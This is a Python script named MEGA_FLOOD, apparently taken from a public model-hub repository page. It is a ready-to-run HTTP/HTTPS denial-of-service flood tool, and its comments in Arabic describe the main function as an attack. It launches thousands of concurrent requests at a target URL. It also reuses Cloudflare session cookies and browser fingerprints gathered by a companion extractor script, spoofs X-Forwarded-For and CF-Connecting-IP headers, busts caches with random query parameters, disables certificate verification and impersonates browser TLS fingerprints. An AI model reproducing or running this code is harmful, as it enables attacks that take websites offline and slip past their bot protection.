Bosa / press.py
Speedo0o's picture
Upload 3 files
6ff3b78 verified
Raw History Blame Contribute Delete
14.9 kB
#!/usr/bin/env python3
"""
MEGA_FLOOD - Ultimate HTTP/HTTPS Flood with Cloudflare Session Extraction
Usage: python MEGA_FLOOD.py --url https://target.com --workers 2000 --requests 500000
"""
import asyncio
import aiohttp
import ssl
import random
import time
import json
import os
import sys
import subprocess
import argparse
from typing import Optional, Dict, List
from collections import defaultdict
import socket
import urllib.parse
BROTLI_AVAILABLE = True
# ── محاولة استيراد curl_cffi (إن وجد) ──
try:
from curl_cffi import requests as cffi_requests
CURL_CFFI_AVAILABLE = True
except ImportError:
CURL_CFFI_AVAILABLE = False
# ── ملفات الجلسة ──
EXTRACTOR_SCRIPT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "extract_session.py")
SESSION_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "session_data.json")
EXTRACTOR_TIMEOUT = 120 # seconds
# ── قوائم الهويات (User-Agents, Accept, إلخ) ──
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
"Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15",
]
ACCEPTS = [
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"application/json, text/javascript, */*; q=0.01",
"text/html,application/xml;q=0.9,image/webp,*/*;q=0.8",
]
ACCEPT_LANGUAGES = ["en-US,en;q=0.9", "en-GB,en;q=0.8", "ar-SA,ar;q=0.9", "fr-FR,fr;q=0.8"]
# ── دوال مساعدة ──
def load_session_from_file() -> Optional[Dict]:
"""تحميل الجلسة من ملف JSON."""
if not os.path.exists(SESSION_FILE):
return None
try:
with open(SESSION_FILE, 'r', encoding='utf-8') as f:
data = json.load(f)
if data.get('cookies'):
return data
except Exception:
pass
return None
def extract_session(target_url: str) -> Optional[Dict]:
"""تشغيل سكربت استخراج الجلسة وانتظار النتيجة."""
if not os.path.exists(EXTRACTOR_SCRIPT):
print(f"[!] Extractor script not found: {EXTRACTOR_SCRIPT}")
return None
# حذف الملف القديم
if os.path.exists(SESSION_FILE):
os.remove(SESSION_FILE)
print(f"[*] Running session extractor for {target_url} ...")
try:
# تشغيل السكربت مع التقاط المخرجات (مع تجاوز أخطاء الترميز)
proc = subprocess.Popen(
[sys.executable, EXTRACTOR_SCRIPT, "--url", target_url],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=False, # نتعامل مع bytes لتجنب مشاكل الترميز
)
stdout, stderr = proc.communicate(timeout=EXTRACTOR_TIMEOUT)
# نطبع المخرجات بشكل آمن (نتجاهل الأخطاء غير القابلة للترميز)
if stdout:
try:
print(stdout.decode('utf-8', errors='ignore'))
except:
pass
if stderr:
try:
print(stderr.decode('utf-8', errors='ignore'))
except:
pass
if proc.returncode != 0:
print(f"[!] Extractor exited with code {proc.returncode}")
return None
except subprocess.TimeoutExpired:
proc.kill()
print("[!] Extractor timed out.")
return None
except Exception as e:
print(f"[!] Failed to run extractor: {e}")
return None
# تحميل الملف الناتج
return load_session_from_file()
def build_headers(cookies: Optional[List[Dict]] = None,
user_agent: Optional[str] = None,
accept_language: Optional[str] = None,
sec_ch_ua: Optional[str] = None) -> Dict[str, str]:
"""بناء رؤوس HTTP مع إمكانية استخدام بيانات من الجلسة المستخرجة."""
headers = {
"User-Agent": user_agent if user_agent else random.choice(USER_AGENTS),
"Accept": random.choice(ACCEPTS),
"Accept-Language": accept_language if accept_language else random.choice(ACCEPT_LANGUAGES),
"Accept-Encoding": "gzip, deflate" + (", br" if BROTLI_AVAILABLE else ""),
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
}
if sec_ch_ua:
headers["Sec-CH-UA"] = sec_ch_ua
if cookies:
cookie_str = "; ".join([f"{c['name']}={c['value']}" for c in cookies if 'name' in c and 'value' in c])
if cookie_str:
headers["Cookie"] = cookie_str
return headers
# ── الدالة الأساسية للهجوم ──
async def mega_flood(
url: str,
workers: int = 1000,
total_requests: int = 100000,
method: str = "GET",
duration: Optional[float] = None,
use_existing_session: bool = True,
use_cffi: bool = False,
rate_limit: Optional[float] = None,
):
"""شن هجوم ضخم باستخدام asyncio مع إمكانية استخراج الجلسة."""
# 1. تحميل أو استخراج الجلسة
session_data = None
if use_existing_session:
session_data = load_session_from_file()
if session_data:
print(f"[+] Loaded existing session with {len(session_data.get('cookies', []))} cookies.")
else:
print("[!] No existing session found. Extracting new one...")
session_data = extract_session(url)
else:
print("[!] Session extraction forced...")
session_data = extract_session(url)
if not session_data:
print("[!] No session available. Proceeding without cookies (may get blocked).")
cookies = None
user_agent = None
accept_language = None
sec_ch_ua = None
else:
cookies = session_data.get('cookies', [])
# استخراج بيانات المتصفح من الجلسة
user_agent = session_data.get('user_agent')
accept_language = session_data.get('accept_language')
sec_ch_ua = session_data.get('sec_ch_ua')
print(f"[+] Session ready: {len(cookies)} cookies.")
if user_agent:
print(f"[+] User-Agent from session: {user_agent[:50]}...")
# 2. إعداد SSL (تجاوز الشهادات)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# 3. إعداد الـ Connector لـ aiohttp
connector = aiohttp.TCPConnector(
limit=0,
limit_per_host=0,
force_close=False,
enable_cleanup_closed=True,
ssl=ssl_context,
ttl_dns_cache=300,
keepalive_timeout=30,
)
timeout = aiohttp.ClientTimeout(total=8, connect=3, sock_read=5)
# 4. سيمافور للتحكم في التزامن
sem = asyncio.Semaphore(workers)
# 5. إحصائيات
stats = defaultdict(int)
stats_lock = asyncio.Lock()
start_time = time.monotonic()
sent_count = 0
last_print = time.monotonic()
# 6. دالة تنفيذ الطلب الواحد (مع استخدام بيانات الجلسة)
async def do_request(session, cffi_session=None):
nonlocal sent_count
async with sem:
# بناء الرؤوس باستخدام بيانات الجلسة المستخرجة
headers = build_headers(
cookies=cookies,
user_agent=user_agent,
accept_language=accept_language,
sec_ch_ua=sec_ch_ua
)
# رؤوس تضليل إضافية
if random.random() < 0.3:
headers["X-Forwarded-For"] = f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
if random.random() < 0.2:
headers["CF-Connecting-IP"] = f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
# إضافة معامل عشوائي للرابط
parsed = urllib.parse.urlparse(url)
query = parsed.query
new_query = f"_={int(time.time()*1000)}&{query}" if query else f"_={int(time.time()*1000)}"
final_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
start_req = time.monotonic()
try:
if use_cffi and CURL_CFFI_AVAILABLE and cffi_session:
resp = await cffi_session.get(
final_url,
headers=headers,
timeout=8,
impersonate=random.choice(["chrome124", "chrome120", "firefox125"]),
allow_redirects=True,
)
status = resp.status_code
_ = await resp.aread()
else:
async with session.get(final_url, headers=headers, timeout=timeout) as resp:
status = resp.status
try:
await resp.read()
except Exception:
pass
elapsed = time.monotonic() - start_req
async with stats_lock:
stats[f"status_{status}"] += 1
stats["total"] += 1
sent_count += 1
now = time.monotonic()
if now - last_print > 1.0:
elapsed_total = now - start_time
total_sent = stats["total"]
rps = total_sent / elapsed_total if elapsed_total > 0 else 0
print(f"\r[+] Total: {total_sent} | RPS: {rps:.1f} | Last status: {status} ", end="", flush=True)
except asyncio.TimeoutError:
async with stats_lock:
stats["timeouts"] += 1
except Exception as e:
async with stats_lock:
stats["errors"] += 1
if stats["errors"] % 100 == 0:
print(f"\n[!] Error {e} (total errors: {stats['errors']})")
if rate_limit and rate_limit > 0:
await asyncio.sleep(1.0 / rate_limit)
# 7. بدء الهجوم
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
cffi_session = None
if use_cffi and CURL_CFFI_AVAILABLE:
cffi_session = cffi_requests.AsyncSession(verify=False, timeout=8)
tasks = set()
if duration and duration > 0:
end_time = time.monotonic() + duration
while time.monotonic() < end_time:
for _ in range(min(workers, 100)):
task = asyncio.create_task(do_request(session, cffi_session))
tasks.add(task)
if len(tasks) > workers * 2:
done, pending = await asyncio.wait(tasks, timeout=0.05, return_when=asyncio.FIRST_COMPLETED)
tasks = set(pending)
await asyncio.sleep(0.001)
await asyncio.gather(*tasks, return_exceptions=True)
else:
for i in range(total_requests):
task = asyncio.create_task(do_request(session, cffi_session))
tasks.add(task)
if len(tasks) >= workers * 2:
done, pending = await asyncio.wait(tasks, timeout=0.05, return_when=asyncio.FIRST_COMPLETED)
tasks = set(pending)
await asyncio.gather(*tasks, return_exceptions=True)
if cffi_session:
await cffi_session.close()
# 8. عرض الإحصائيات النهائية
elapsed = time.monotonic() - start_time
total_sent = stats.get("total", 0)
rps = total_sent / elapsed if elapsed > 0 else 0
print(f"\n\n[+] FINAL STATS:")
print(f" Total requests: {total_sent}")
print(f" Elapsed: {elapsed:.2f}s")
print(f" RPS: {rps:.1f}")
print(f" Status codes: {dict(stats)}")
# ── الوظيفة الرئيسية ──
def main():
parser = argparse.ArgumentParser(description="MEGA_FLOOD - Ultimate HTTP flood with session extraction")
parser.add_argument("--url", required=True, help="Target URL (e.g., https://example.com)")
parser.add_argument("--workers", type=int, default=1000, help="Number of concurrent workers")
parser.add_argument("--requests", type=int, default=100000, help="Total number of requests (0 = unlimited if duration is set)")
parser.add_argument("--duration", type=float, default=None, help="Duration in seconds (overrides --requests if set)")
parser.add_argument("--method", default="GET", choices=["GET", "POST"], help="HTTP method")
parser.add_argument("--no-session", action="store_true", help="Do not use existing session, force extraction")
parser.add_argument("--use-cffi", action="store_true", help="Use curl_cffi for TLS impersonation (if installed)")
parser.add_argument("--rate", type=float, default=None, help="Rate limit (requests per second)")
args = parser.parse_args()
# تعيين عدد الطلبات إذا كانت المدة محددة
if args.duration and args.duration > 0:
total_requests = 0 # غير محدود
else:
total_requests = args.requests
print("=" * 60)
print(f"MEGA_FLOOD starting on {args.url}")
print(f"Workers: {args.workers} | Total Requests: {total_requests if total_requests > 0 else 'Unlimited'} | Method: {args.method}")
print("=" * 60)
asyncio.run(mega_flood(
url=args.url,
workers=args.workers,
total_requests=total_requests,
method=args.method,
duration=args.duration,
use_existing_session=not args.no_session,
use_cffi=args.use_cffi,
rate_limit=args.rate,
))
if __name__ == "__main__":
main()